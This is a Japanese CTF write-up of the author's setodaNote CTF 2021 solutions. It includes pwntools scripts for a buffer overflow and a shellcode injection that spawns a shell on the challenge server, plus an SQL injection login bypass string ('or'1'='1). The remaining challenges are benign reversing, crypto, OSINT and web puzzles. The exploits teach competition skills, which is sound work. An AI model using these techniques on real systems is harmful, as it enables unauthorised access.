setodaNote CTF writeup
概要
setodaNote CTFは2021/08/21 21:00 ~ 2021/09/04 21:00 (JST)に@soji256氏によって開催されたCTFです.
https://ctf.setodanote.net/about
1人で参加し,3890 points獲得して133rd placeでした.
開催期間が長いタイプのCTFだと,集中して取り組む期間が逆に短くなってしまう癖が自分にはあることがわかりました(結局取り組んだのは最初の2日くらいでした…).
問題
問題は
のジャンルで構成されています.
以降は自分が開催期間中に解いた問題を解説していきます.
Pwn
このCTFでは,Pwn等の問題は別途用意されたwebshellの環境で接続することになっていました.
全3問中2問解きました
もう一問fsbっぽいのがあったんですが,普通にfsbが苦手なのと,手元にバイナリが無くて検証が難しいくて開催中には解けませんでした.
tkys_let_die
シンプルなbuffer overflowの問題です
$ ./gate
{} {}
! ! ! II II ! ! !
! I__I__I_II II_I__I__I !
I_/|__|__|_|| ||_|__|__|\_I
! /|_/| | | || || | | |\_|\ !
.--. I//| | | | || || | | | |\\I .--.
/- \ ! /|/ | | | | || || | | | | \|\ ! /= \
\=__ / I//| | | | | || || | | | | |\\I \-__ /
} { ! /|/ | | | | | || || | | | | | \|\ ! } {
{____} I//| | | | | | || || | | | | | |\\I {____}
_!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_
_I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_
-|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-
| | | || | | | | | | | || || | | | | | | | || | | |
| | |= || | | | | | | | || || | | | | | | | ||= | | |
| | |- || | | | | | | | || || | | | | | | | ||= | | |
| | |- || | | | | | | | || || | | | | | | | ||- | | |
_|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_
-|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-
| | |- || | | | | | | | || || | | | | | | | ||= | | |
~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~
You'll need permission to pass. What's your name?
> hoge
Gate is close.
Goodbay hoge.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void printFlag(void) {
system("/bin/cat ./flag");
}
int main(void) {
char gate[6]="close";
char name[16]="..";
printf("\n");
printf(" {} {}\n");
printf(" ! ! ! II II ! ! !\n");
printf(" ! I__I__I_II II_I__I__I !\n");
printf(" I_/|__|__|_|| ||_|__|__|\\_I\n");
printf(" ! /|_/| | | || || | | |\\_|\\ !\n");
printf(" .--. I//| | | | || || | | | |\\\\I .--.\n");
printf(" /- \\ ! /|/ | | | | || || | | | | \\|\\ ! /= \\\n");
printf(" \\=__ / I//| | | | | || || | | | | |\\\\I \\-__ /\n");
printf(" } { ! /|/ | | | | | || || | | | | | \\|\\ ! } {\n");
printf(" {____} I//| | | | | | || || | | | | | |\\\\I {____}\n");
printf(" _!__!__|= |=/|/ | | | | | | || || | | | | | | \\|\\=| |__!__!_\n");
printf(" _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
printf(" | | | || | | | | | | | || || | | | | | | | || | | |\n");
printf(" | | |= || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||- | | |\n");
printf(" _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_\n");
printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
printf(" | | |- || | | | | | | | || || | | | | | | | ||= | | |\n");
printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");
printf("\n");
printf("You'll need permission to pass. What's your name?\n> ");
scanf("%32[^\n]", name);
if (strcmp(gate,"open")==0) {
printFlag();
}else{
printf("Gate is %s.\n", gate);
printf("Goodbay %s.\n", name);
}
return 0;
}
radareでmainを読んでみると,gate
はrbp-0x20
に,name
はrbp-0x6
に確保されているので,いい感じにパディングを用意してgate
に"open"
を入れます.
from pwn import *
context.log_level = 'critical'
io = remote('10.1.1.10', 13020)
pad = b'a' * 0x1a
payload = pad + b'open'
io.sendlineafter(b'name?', payload)
io.interactive()
=============================
GREAT! GATE IS OPEN!!
>> Flag is flag{Alohomora} <<
*-*-*-*-*-*-*-*-*-*-*-*
=============================
shellcode
/home/user/flag
にflagがあります
main
はこんな感じです
undefined8 main(void)
{
char *buf;
sym.imp.setvbuf(_reloc.stdout, &buf, 2, 0x50);
sym.imp.puts(" |");
sym.imp.printf("target | [%p]\n", &buf);
sym.imp.puts(" |");
sym.imp.printf("Well. Ready for the shellcode?\n> ");
sym.imp.__isoc99_scanf("%[^\n]", &buf);
sym.imp.puts(&buf);
return 0;
}
rbp-0x50
に確保したbuf
のアドレスを表示し,scanf
で入力しています.
問題名の通り,シェルコードをバッファに書き込み,return addresをバッファのアドレスで上書きします.
バイナリが手元に無いのでchecksecはできませんが,canaryが無い事を願ってソルバを実行しました.
from pwn import *
context.log_level = 'critical'
context(arch='x86_64', os='linux')
io = remote('10.1.1.10', 13050)
io.readline()
io.recvuntil(b'[')
line = io.readline()
target_addr = int(line[0:14], 16)
shellcode = asm(shellcraft.sh())
pad = b'a' * (0x58 - len(shellcode))
payload = shellcode + pad + pack(target_addr)
io.sendline(payload)
io.interactive()
user@29d873bdec39:~$ python3 solve.py
target | [0x7ffc1f188790]
|
Well. Ready for the shellcode?
> jhH\xb8/bin///sPH\x89\xe7hri\x814$1\xf6V^H\xe6VH\x89\xe61\xd2j;X\x0faaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaals
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat /home/user/flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
Rev
Revは全5問で,PEのデバッグが必要な問題を1問残して4問解きました.
Helloworld
PEなのでwine
で実行すると
$ wine helloworld.exe
Nice try, please set some word when you run me.
とのことなのでradareでちょっと読んでみます
[0x0040138a]> izq
0x402100 48 47 Nice try, please set some word when you run me.
0x402130 5 4 flag
0x402138 49 48 Good job, but please set 'flag' when you run me.
0x40216c 5 4 hint
0x402174 12 11 Nice try ;)
ということで
$ wine helloworld.exe flag
flag{free_fair_and_secure_cyberspace}
はい.
ELF
渡されたELFは破損しており,実行できません.
とりあえずradareで読むと,0x1135
にそれっぽい関数があります
[0x00000000]> pdf @0x1135
; DATA XREF from fcn.00001040 @ +0x2d
┌ 102: fcn.00001135 ();
│ ; var int64_t var_20h @ rbp-0x20
│ ; var int64_t var_18h @ rbp-0x18
│ ; var int64_t var_10h @ rbp-0x10
│ ; var signed int64_t var_4h @ rbp-0x4
│ 0x00001135 55 push rbp
│ 0x00001136 4889e5 mov rbp, rsp
│ 0x00001139 4883ec20 sub rsp, 0x20
│ 0x0000113d 48b84e44494f. movabs rax, 0x465d5a534f49444e ; 'NDIOSZ]F'
│ 0x00001147 48ba77454943. movabs rdx, 0x55494a4143494577 ; 'wEICAJIU'
│ 0x00001151 488945e0 mov qword [var_20h], rax
│ 0x00001155 488955e8 mov qword [var_18h], rdx
│ 0x00001159 c645f000 mov byte [var_10h], 0
│ 0x0000115d c745fc000000. mov dword [var_4h], 0
│ ┌─< 0x00001164 eb1c jmp 0x1182
│ │ ; CODE XREF from fcn.00001135 @ 0x1186
│ ┌──> 0x00001166 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x00001169 4898 cdqe
│ ╎│ 0x0000116b 0fb64405e0 movzx eax, byte [rbp + rax - 0x20]
│ ╎│ 0x00001170 83f028 xor eax, 0x28
│ ╎│ 0x00001173 89c2 mov edx, eax
│ ╎│ 0x00001175 8b45fc mov eax, dword [var_4h]
│ ╎│ 0x00001178 4898 cdqe
│ ╎│ 0x0000117a 885405e0 mov byte [rbp + rax - 0x20], dl
│ ╎│ 0x0000117e 8345fc01 add dword [var_4h], 1
│ ╎│ ; CODE XREF from fcn.00001135 @ 0x1164
│ ╎└─> 0x00001182 837dfc0f cmp dword [var_4h], 0xf
│ └──< 0x00001186 7ede jle 0x1166
│ 0x00001188 488d45e0 lea rax, [var_20h]
│ 0x0000118c 4889c7 mov rdi, rax
│ 0x0000118f e89cfeffff call fcn.00001030
│ 0x00001194 b800000000 mov eax, 0
│ 0x00001199 c9 leave
└ 0x0000119a c3 ret
''.join([chr(ord(c) ^ 0x28) for c in 'NDIOSZ]FwEICAJIU'])
flag{run_makiba}
Passcode
実行するとpasscodeの入力を求められるELFです
radareで見るとそれっぽい文字列があり,main
で参照してるのでやってみます
[0x000010a0]> izq
0x2008 21 20 Enter the passcode:
0x201d 15 14 %255[^\n]%*[^\n]
0x2030 18 17 Invalid passcode.
0x2042 29 28 Invalid passcode. Too short.
0x205f 28 27 Invalid passcode. Too long.
0x207b 9 8 20150109
0x2088 33 32 The passcode has been verified.\n
0x20a9 19 18 Flag is : flag{\%s}
0x20bc 28 27 Invalid passcode. Nice try.
[0x000010a0]> axt @0x207b
main 0x1387 [DATA] lea rsi, str.20150109
$ ./passcode
Enter the passcode: 20150109
The passcode has been verified.
Flag is : flag{20150109}
Passcode2
上と似たようなバイナリですが,passcodeはハードコードされてません.
radareでghidraのデコンパイルしてみると,
undefined8 main(void)
{
int32_t iVar1;
undefined8 uVar2;
uint64_t uVar3;
int64_t iVar4;
char *var_11ch;
undefined var_114h;
undefined var_113h;
undefined var_112h;
undefined var_111h;
char *s;
int64_t var_108h;
int64_t var_100h;
int64_t var_f8h;
int64_t var_f0h;
int64_t var_e8h;
int64_t var_e0h;
int64_t var_d8h;
int64_t var_d0h;
int64_t var_c8h;
int64_t var_c0h;
int64_t var_b8h;
int64_t var_b0h;
int64_t var_a8h;
int64_t var_a0h;
int64_t var_98h;
int64_t var_90h;
int64_t var_88h;
int64_t var_80h;
int64_t var_78h;
int64_t var_70h;
int64_t var_68h;
int64_t var_60h;
int64_t var_58h;
int64_t var_50h;
int64_t var_48h;
int64_t var_40h;
int64_t var_38h;
int64_t var_30h;
int64_t var_28h;
int64_t var_20h;
int64_t var_18h;
uint32_t var_8h;
s = NULL;
var_108h = 0;
var_100h = 0;
var_f8h = 0;
var_f0h = 0;
var_e8h = 0;
var_e0h = 0;
var_d8h = 0;
var_d0h = 0;
var_c8h = 0;
var_c0h = 0;
var_b8h = 0;
var_b0h = 0;
var_a8h = 0;
var_a0h = 0;
var_98h = 0;
var_90h = 0;
var_88h = 0;
var_80h = 0;
var_78h = 0;
var_70h = 0;
var_68h = 0;
var_60h = 0;
var_58h = 0;
var_50h = 0;
var_48h = 0;
var_40h = 0;
var_38h = 0;
var_30h = 0;
var_28h = 0;
var_20h = 0;
var_18h = 0;
var_11ch._0_1_ = 0x18;
var_11ch._1_1_ = 0x1f;
var_11ch._2_1_ = 4;
var_11ch._3_1_ = 0x79;
var_11ch._4_1_ = 0x4f;
var_11ch._5_1_ = 0x5a;
var_11ch._6_1_ = 4;
var_11ch._7_1_ = 0x18;
var_114h = 0x1a;
var_113h = 0x1b;
var_112h = 0x1e;
var_111h = 0;
sym.imp.printf("Enter the passcode: ");
iVar1 = sym.imp.__isoc99_scanf("%255[^\n]%*[^\n]", &s);
if (iVar1 == -1) {
uVar2 = 1;
}
else {
sym.imp.__isoc99_scanf(0x202c);
if ((char)s == '\0') {
sym.imp.printf("Invalid passcode.");
}
else {
uVar3 = sym.imp.strlen(&s);
if (uVar3 < 0xb) {
sym.imp.printf("Invalid passcode. Too short.");
}
else {
uVar3 = sym.imp.strlen(&s);
if (uVar3 < 0xc) {
iVar4 = sym.imp.strlen(&s);
if (iVar4 == 0xb) {
_var_8h = 0;
while ((uVar3 = sym.imp.strlen(&var_11ch), _var_8h < uVar3 &&
(*(uint8_t *)((int64_t)&s + _var_8h) ==
(*(uint8_t *)((int64_t)&var_11ch + _var_8h) ^ 0x2a)))) {
_var_8h = _var_8h + 1;
}
uVar3 = sym.imp.strlen(&var_11ch);
if (_var_8h == uVar3) {
sym.imp.puts("The passcode has been verified.\n");
sym.imp.printf("Flag is : flag{\%s}", &s);
}
else {
sym.imp.printf("Invalid passcode. Nice try.");
}
}
else {
sym.imp.printf("Invalid passcode.");
}
}
else {
sym.imp.printf("Invalid passcode. Too long.");
}
}
}
sym.imp.putchar(10);
uVar2 = 0;
}
return uVar2;
}
なんかそれっぽいのがあるので,それっぽくやります
>>> ''.join([chr(c ^ 0x2a) for c in [0x18, 0x1f, 0x4, 0x79, 0x4f, 0x5a, 0x4, 0x18, 0x1a, 0x1b, 0x1e]])
'25.Sep.2014'
$ ./passcode2
Enter the passcode: 25.Sep.2014
The passcode has been verified.
Flag is : flag{25.Sep.2014}
Programing
一応全完です
ZZZIPPP
めっちゃZIPなやつ
#!/bin/bash
for i in `seq 1 1000|tac`
do
unar "flag$i.zip"
rm "flag$i.zip"
done
flag{loop-zip-1989-zip-loop}
echo_me
てけいさん的な感じですが,けいさんはいりません
#!/usr/bin/env python3
from pwn import *
io = remote('10.1.1.10', 12020)
try:
while True:
io.recvuntil('==========\n')
line = io.readline()
print(line.decode('utf-8', 'ignore'))
line = line.split()[-1].decode('utf-8', 'ignore').strip()
io.recvuntil('==========\n')
io.sendline(line)
print(io.readline()) # Correct!
except:
io.interactive()
何問あるかわからなかったので,try except
で問題以外の文字列が来たらinteractive
にしています.
b'Correct!\n'
[*] Switching to interactive mode
flag{Hellow_yamabiko_Yoo-hoo!}
[*] Got EOF while reading in interactive
$
EZZZIPPP
さっきのZIPに似ていますが,passwordがあります
#!/bin/bash
for i in `seq 1 1000|tac`
do
unzip -o -P `cat pass.txt` "flag$i.zip"
rm "flag$i.zip"
done
flag{bdf574f15645df736df13daef06128b8}
deep_thought
てけいさんです.
#!/usr/bin/env python3
from pwn import *
io = remote('10.1.1.10', 12010)
try:
while True:
io.recvuntil(b']\n')
q = io.readline().decode('utf-8', 'ignore')
a = eval(q)
print(f'question is {q} answer is {a}')
io.sendline(str(a))
print(io.recvuntil(b'Correct!').decode('utf-8', 'ignore'))
except:
io.interactive()
webshell環境が渡されてるので気兼ねなくeval
できますね
question is 1982 + 1335
answer is 3317
Correct!
[*] Switching to interactive mode
flag{__42__}
[*] Got EOF while reading in interactive
Crypto
8問中3問しか解けてません.
気力があれば解ける問題や,よく出るRSAもあったと思うので,一人で出るならそれらも解けるようになっておきたいですね.
base64
base64です
ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==
$ echo ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==|base64 -d
flag{It's_called_base64!}
ROT13
ROT13です
synt{Rira_lbh_Oehghf?}
flag{Even_you_Brutus?}
pui_pui
pui_puiです
\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a
ASCIIっぽいのでcyberchefでシュッとします
最近cyber
まで入れるとcyberdefense.jpがサジェストされます.
A:Do you know Molcar?
B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.
A:... What?
B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.
Misc
12問中9問解きました
Welcome
webshellにあるwelcome.txtにflagがあります
Welcome to the setodaNote CTF!!
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
* *
* flag{Enjoy_y0ur_time_here!} *
* *
*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
This is the flag.
morse_one
多分モールス信号でしょう.
cyberchefを用意しておきます
いい感じにVimで置換すると
...- .. -... .-. --- .--. .-.. . -..-
になり,
VIBROPLEX
となります
Hash
大量のファイルの中から指定されたHashに一致するファイルを探します.
#/bin/bash
fd -x sha256sum |rg "(aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7|8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb|e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962)"|awk '{print $2}'|xargs cat |tr -d '\n'
flag{hardest_logic_puzzle}
F
+++++++[->++++++++++>+++++++++++>+++++++++>++++++++++<<<<]>.>-.>++.>+.>++++++++[>++++<-]>.>+++++[->+++++++++++++++++++++>+++++++++++++++++++++++<<]>.>.>++++++++[>++++<-]>.>++++++++++[->++++++++++>++++++++++>++++++++++>++++++++++>++++++++++++<<<<<]>++.>++++++++.>---.>+++.>+++.>++++++++[>++++++++<-]>++++.>+++++++++++[>++++++++++>++++++++++<<-]>+.>.>++++[>++++++++++<-]>-.>+++[->+++++[->++++++++<]<]>>----.>++++++++++[->++++++++++>+++++++++>++++++++++++>++++++++++>+++++++++<<<<<]>-----.>-----.>-----.>+.>+++++.>++++++++++++++++++++[>++++++>+++++>+++++>+++++>+++>++<<<<<<-]>----.>++++.>+.>-----.>++++++++++.>+++++.>++++++++++[->+++++++++>+++++++++++>+++++++++++>++++++++++<<<<]>---.>+.>++++.>.>+++[->+++++++++++<]>..>+++++[->+++++[->+++++<]<]>>.
bfです
FLAG is flag{Don't_Use_the_F-Word!!}
magic_number
問題文
80
添付されたファイルから以下が示す3つのファイルを探してください。
[89 50 4e 47]
[52 61 72 21]
[ff d8 ff e0]
フラグは該当するファイル名を以下の順番にアンダースコアでつないで回答してください。
flag{[89 50 4e 47]_[52 61 72 21]_[ff d8 ff e0]}
例えばファイル名がそれぞれ以下の場合は flag{aaa_bbb_ccc} と答えてください。
[89 50 4e 47] = aaa.txt
[52 61 72 21] = bbb.exe
[ff d8 ff e0] = ccc.zip
面白い解き方をしたかったのと,他に思いつかなかったのでyaraルールを書きました
rule first
{
strings:
$magic = {89 50 4e 47}
condition:
$magic at 0
}
rule second
{
strings:
$magic = {52 61 72 21}
condition:
$magic at 0
}
rule third
{
strings:
$magic = {ff d8 ff e0}
condition:
$magic at 0
}
$ yara magic.yara .
first ./post.png
third ./light.jpg
second ./rar.rar
flag{post_light_rar}
Stegano
Steganoです
stegosolveで解きました
flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}
morse_zero
ゼロ幅スペースです
いい感じにVimで置換すると
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
になるので,
flag{ZER0_W1DTH_SPACE}
i_knew_it
問題文
「このアセンブリ、見た瞬間あなただと分かりましたよ。」
ある暗号方式の名称がフラグになっています。添付ファイルからその暗号方式の名称を特定し、フラグ形式で回答してください。
フラグに英字が含まれている場合は、すべて大文字で答えてください。例えば This_is_FLAG が得られた場合は flag{THIS_IS_FLAG} となります。
見た瞬間分かるやつです
flag{RC4}
Redacted
pdfです.libreofficeで開いたら黒塗り外せました
flag{weather_balloon}
Forensics
11問中3問しか解けませんでした.
しっかりやれば楽しそうですが,forensicsの知見があまり無いので開催中はあまり触れませんでした
paint_flag
wordです.
解凍したらflag.pngがあります
flag{What_m4tters_is_inside;)}
メール中にpngがあるので書き出します
flag{You've_clearly_done_a_good_job_there!!}
Deletedfile
binwalkでシュッと出します
flag{nosce_te_ipsum}
OSINT
10問中6問しか解けませんでした.
もうちょっとやったら楽しそうだったので勿体ないです.
tkys_with_love
問題文
だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。
フラグは後輩がいるという乗り物の正式名称を flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。
flag{Symphony_of_the_Sea}
Dorks
問題文
gin.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。
Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。
例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。
flag{inurl:login.php}
Google Dorksについては弊サークルの先輩が書いた記事が参考になります
filters_op
問題文
Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。
例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります
from:@cas_nisc until:2017-05-16
flag{#WannaCrypt}
MAC
問題文
友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。
00:03:93 = A
00:01:A9 = B
04:2A:E2 = C
上記の通り変換されるとき、以下の文字列はどうなるか。
flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}
暗号文を解きフラグを得てください。
MACアドレスのベンダーのイニシャルです.なんかクイズ番組で出そう.
https://uic.jp/mac/address/fc4ea4/
とかで見ましょう
flag{O_U_I_Y_A}
MITRE
問題文
識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。
T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}
フラグに英字が含まれる場合はすべて大文字で答えてください。
MITREのEnterprise MatrixのIDです
flag{MITRE_ATTACK_MATLIX_THX}
Ropeway
湖 ロープウェイ
とかで調べました
https://www.kanzanji-ropeway.jp/
flag{kanzanji}
Web
全部curlとdevtoolでなんとかなったので全完できました
Body
$ curl https://ctf.setodanote.net/web001/ 2>/dev/null|grep flag
<p>特に指定がない限りフラグは flag{<!-- *** flag{Section_9} *** -->} という形式をとります。</p>
flag{Section_9}
Header
Response Headerのx-setodanotectf-flag
にflagがあります
flag{Just_a_whisper}
puni_puni
punycodeです
xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.
flag{33punycode44}
Mistake
$ curl https://ctf.setodanote.net/web003/ 2>/dev/null|grep flag
<p>特に指定がない限りフラグは flag{<!-- Webserver directory index? -->} という形式をとります。</p>
https://ctf.setodanote.net/web003/images/pic_flag_is_here.txt
flag{You_are_the_Laughing_Man,_aren't_you?}
tkys_royale
admin:'or'1'='1
で通ります
flag{SQLi_with_b1rds_in_a_b34utiful_landscape}
Estimated
画像に命名規則があるので消された投稿の画像のリンクがわかります
https://ctf.setodanote.net/web006/images/20210602001b.jpg
flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}
Mx.Flag
faviconです
// flag{Mr_Flag_hiding_in_the_favicon}
console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});
flag{Mr_Flag_hiding_in_the_favicon}
Redirect
curlでredirect追跡していってパラメータをいい感じにします
https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200
<!DOCTYPE html>
<body>
<h1>Nice work!!</h1>
<p>flag{Analyz1ng_Bad_Red1rects}</p>
</body>
flag{Analyz1ng_Bad_Red1rects}
Network
8問中3問しか解けてません
Host
HTTP request送ってるので,読みます
flag{ctf.setodanote.net}
tkys_never_die
pngがあるので摘出します
flag{a_treasure_trove}
echo_request
ICMPのDataにflagが1文字ずつあります
flag{ICMP_Tunneling_T1095}
感想
いろんなジャンルがあって楽しかったですね.
苦手なジャンル,問題の傾向がわかって良かったです.
Comments